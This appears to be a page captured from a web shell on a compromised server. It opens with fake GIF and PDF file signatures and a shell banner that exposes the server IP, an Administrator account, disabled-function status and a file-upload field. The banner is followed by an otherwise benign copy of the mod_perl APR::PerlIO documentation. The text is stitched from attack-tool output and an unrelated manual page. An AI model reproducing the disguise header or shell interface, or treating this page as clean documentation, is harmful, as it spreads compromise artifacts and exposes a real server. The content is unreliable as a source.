GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/JimMartinson/CST1611/VM_Data/Install/ApachePerlFiles/Perl/html/site/lib/APR/ |
Upload File : |
<?xml version="1.0" ?> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <!-- saved from url=(0017)http://localhost/ --> <script language="JavaScript" src="../../../displayToc.js"></script> <script language="JavaScript" src="../../../tocParas.js"></script> <script language="JavaScript" src="../../../tocTab.js"></script> <link rel="stylesheet" type="text/css" href="../../../scineplex.css"> <title>APR::PerlIO -- Perl IO layer for APR</title> <link rel="stylesheet" href="../../../Active.css" type="text/css" /> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <link rev="made" href="mailto:" /> </head> <body> <!-- INDEX BEGIN --> <div name="index"> <script>writelinks('__top__',3);</script> <h1><a>APR::PerlIO -- Perl IO layer for APR</a></h1> <p><a name="__index__"></a></p> <ul> <li><a href="#name">NAME</a></li> <li><a href="#synopsis">Synopsis</a></li> <li><a href="#description">Description</a></li> <li><a href="#prerequisites">Prerequisites</a></li> <li><a href="#constants">Constants</a></li> <ul> <li><a href="#apr__perlio__perlio_layers_are_enabled"><code>APR::PerlIO::PERLIO_LAYERS_ARE_ENABLED</code></a></li> </ul> <li><a href="#api">API</a></li> <ul> <li><a href="#open"><a href="../../../lib/pods/perlfunc.html#open"><code>open</code></a></a></li> <li><a href="#seek"><a href="../../../lib/pods/perlfunc.html#seek"><code>seek</code></a></a></li> </ul> <li><a href="#c_api">C API</a></li> <li><a href="#see_also">See Also</a></li> <li><a href="#copyright">Copyright</a></li> <li><a href="#authors">Authors</a></li> </ul> <hr name="index" /> </div> <!-- INDEX END --> <p> </p> <h1><a name="name">NAME</a></h1> <p>APR::PerlIO -- Perl IO layer for APR</p> <p> </p> <hr /> <h1><a name="synopsis">Synopsis</a></h1> <pre> <span class="comment"># under mod_perl</span> <span class="keyword">use</span> <span class="variable">APR::PerlIO</span> <span class="operator">();</span> <span class="keyword">sub</span><span class="variable"> handler </span><span class="operator">{</span> <span class="keyword">my</span> <span class="variable">$r</span> <span class="operator">=</span> <span class="keyword">shift</span><span class="operator">;</span> <span class="keyword">die</span> <span class="string">"This Perl build doesn't support PerlIO layers"</span> <span class="keyword">unless</span> <span class="variable">APR::PerlIO::PERLIO_LAYERS_ARE_ENABLED</span><span class="operator">;</span> <span class="keyword">open</span> <span class="keyword">my</span> <span class="variable">$fh</span><span class="operator">,</span> <span class="string">">:APR"</span><span class="operator">,</span> <span class="variable">$filename</span><span class="operator">,</span> <span class="variable">$r</span><span class="operator">-></span><span class="variable">pool</span> <span class="keyword">or</span> <span class="keyword">die</span> <span class="variable">$!</span><span class="operator">;</span> <span class="comment"># work with $fh as normal $fh</span> <span class="keyword">close</span> <span class="variable">$fh</span><span class="operator">;</span> <span class="keyword">return</span> <span class="variable">Apache2::Const::OK</span><span class="operator">;</span> <span class="operator">}</span> </pre> <pre> <span class="comment"># outside mod_perl</span> <span class="operator">% </span><span class="variable">perl</span> <span class="operator">-</span><span class="variable">MAPR</span> <span class="operator">-</span><span class="variable">MAPR::PerlIO</span> <span class="operator">-</span><span class="variable">MAPR::Pool</span> <span class="operator">-</span><span class="keyword">le</span> <span class="operator">\</span> <span class="string">'open my $fh, ">:APR", "/tmp/apr", APR::Pool->new or die "$!"; \ print $fh "whoah!"; \ close $fh;'</span> </pre> <p> </p> <hr /> <h1><a name="description">Description</a></h1> <p><code>APR::PerlIO</code> implements a Perl IO layer using APR's file manipulation API internally.</p> <p>Why do you want to use this? Normally you shouldn't, probably it won't be faster than Perl's default layer. It's only useful when you need to manipulate a filehandle opened at the APR side, while using Perl.</p> <p>Normally you won't call <a href="../../../lib/pods/perlfunc.html#open"><code>open()</code></a> with APR layer attribute, but some mod_perl functions will return a filehandle which is internally hooked to APR. But you can use APR Perl IO directly if you want.</p> <p> </p> <hr /> <h1><a name="prerequisites">Prerequisites</a></h1> <p>Not every Perl will have full <code>APR::PerlIO</code> functionality available.</p> <p>Before using the Perl IO APR layer one has to check whether it's supported by the used APR/Perl build. Perl 5.8.x or higher with perlio enabled is required. You can check whether your Perl fits the bill by running:</p> <pre> <span class="operator">% </span><span class="variable">perl</span> <span class="operator">-</span><span class="variable">V</span><span class="operator">:</span><span class="variable">useperlio</span> <span class="variable">useperlio</span><span class="operator">=</span><span class="string">'define'</span><span class="operator">;</span> </pre> <p>It should say <em>define</em>.</p> <p>If you need to do the checking in the code, there is a special constant provided by <code>APR::PerlIO</code>, which can be used as follows:</p> <pre> <span class="keyword">use</span> <span class="variable">APR::PerlIO</span> <span class="operator">();</span> <span class="keyword">die</span> <span class="string">"This Perl build doesn't support PerlIO layers"</span> <span class="keyword">unless</span> <span class="variable">APR::PerlIO::PERLIO_LAYERS_ARE_ENABLED</span><span class="operator">;</span> </pre> <p>Notice that loading <code>APR::PerlIO</code> won't fail when Perl IO layers aren't available since <code>APR::PerlIO</code> provides functionality for Perl builds not supporting Perl IO layers.</p> <p> </p> <hr /> <h1><a name="constants">Constants</a></h1> <p> </p> <h2><a name="apr__perlio__perlio_layers_are_enabled"><code>APR::PerlIO::PERLIO_LAYERS_ARE_ENABLED</code></a></h2> <p>See <a href="#prerequisites">Prerequisites</a>.</p> <p> </p> <hr /> <h1><a name="api">API</a></h1> <p>Most of the API is as in normal perl IO with a few nuances listed in the following sections.</p> <p>META: need to rework the exception mechanism here. Current success in using errno ($!) being set (e.g. on open()) is purely accidental and not guaranteed across all platforms and functions. So don't rely on $!. Will use <code>APR::Error|docs::2.0::api::APR::Error</code> for that purpose.</p> <p> </p> <h2><a name="open"><a href="../../../lib/pods/perlfunc.html#open"><code>open</code></a></a></h2> <p>Open a file via APR Perl IO layer.</p> <pre> <span class="keyword">open</span> <span class="keyword">my</span> <span class="variable">$fh</span><span class="operator">,</span> <span class="string">">:APR"</span><span class="operator">,</span> <span class="variable">$filename</span><span class="operator">,</span> <span class="variable">$r</span><span class="operator">-></span><span class="variable">pool</span> <span class="keyword">or</span> <span class="keyword">die</span> <span class="variable">$!</span><span class="operator">;</span> </pre> <dl> <dt><strong><a name="fh" class="item">arg1: <code>$fh</code> ( GLOB filehandle )</a></strong> <dd> <p>The filehandle.</p> </dd> </li> <dt><strong><a name="mode" class="item">arg2: <code>$mode</code> ( string )</a></strong> <dd> <p>The mode to open the file, constructed from two sections separated by the <code>:</code> character: the first section is the mode to open the file under (>, <, etc) and the second section must be a string <em>APR</em>. For more information refer to the <em>open</em> entry in the <em>perlfunc</em> manpage.</p> </dd> </li> <dt><strong><a name="filename" class="item">arg3: <code>$filename</code> ( string )</a></strong> <dd> <p>The path to the filename to open</p> </dd> </li> <dt><strong><a name="p" class="item">arg4: <code>$p</code> ( <code>APR::Pool|docs::2.0::api::APR::Pool</code> )</a></strong> <dd> <p>The pool object to use to allocate APR::PerlIO layer.</p> </dd> </li> <dt><strong><a name="ret_integer" class="item">ret: ( integer )</a></strong> <dd> <p>success or failure value (boolean).</p> </dd> </li> <dt><strong><a name="since_2_0_00248" class="item">since: 2.0.00</a></strong> </dl> <p> </p> <h2><a name="seek"><a href="../../../lib/pods/perlfunc.html#seek"><code>seek</code></a></a></h2> <p>Sets <code>$fh</code>'s position, just like the <a href="../../../lib/pods/perlfunc.html#seek"><code>seek()</code></a> Perl call:</p> <pre> <span class="keyword">seek</span><span class="operator">(</span><span class="variable">$fh</span><span class="operator">,</span> <span class="variable">$offset</span><span class="operator">,</span> <span class="variable">$whence</span><span class="operator">);</span> </pre> <p>If <code>$offset</code> is zero, <a href="../../../lib/pods/perlfunc.html#seek"><code>seek()</code></a> works normally.</p> <p>However if <code>$offset</code> is non-zero and Perl has been compiled with with large files support (<code>-Duselargefiles</code>), whereas APR wasn't, this function will croak. This is because largefile size <code>Off_t</code> simply cannot fit into a non-largefile size <code>apr_off_t</code>.</p> <p>To solve the problem, rebuild Perl with <code>-Uuselargefiles</code>. Currently there is no way to force APR to build with large files support.</p> <dl> <dt><strong><a name="since_2_0_00249" class="item">since: 2.0.00</a></strong> </dl> <p> </p> <hr /> <h1><a name="c_api">C API</a></h1> <p>The C API provides functions to convert between Perl IO and APR Perl IO filehandles.</p> <p>META: document these</p> <p> </p> <hr /> <h1><a name="see_also">See Also</a></h1> <p><a href="../../../docs/2.0/index.html">mod_perl 2.0 documentation</a>. The <em>perliol(1)</em>, <em>perlapio(1)</em> and <em>perl(1)</em> manpages.</p> <p> </p> <hr /> <h1><a name="copyright">Copyright</a></h1> <p>mod_perl 2.0 and its core modules are copyrighted under The Apache Software License, Version 2.0.</p> <p> </p> <hr /> <h1><a name="authors">Authors</a></h1> <p><a href="../../../about/contributors/people.html">The mod_perl development team and numerous contributors</a>.</p> </body> </html>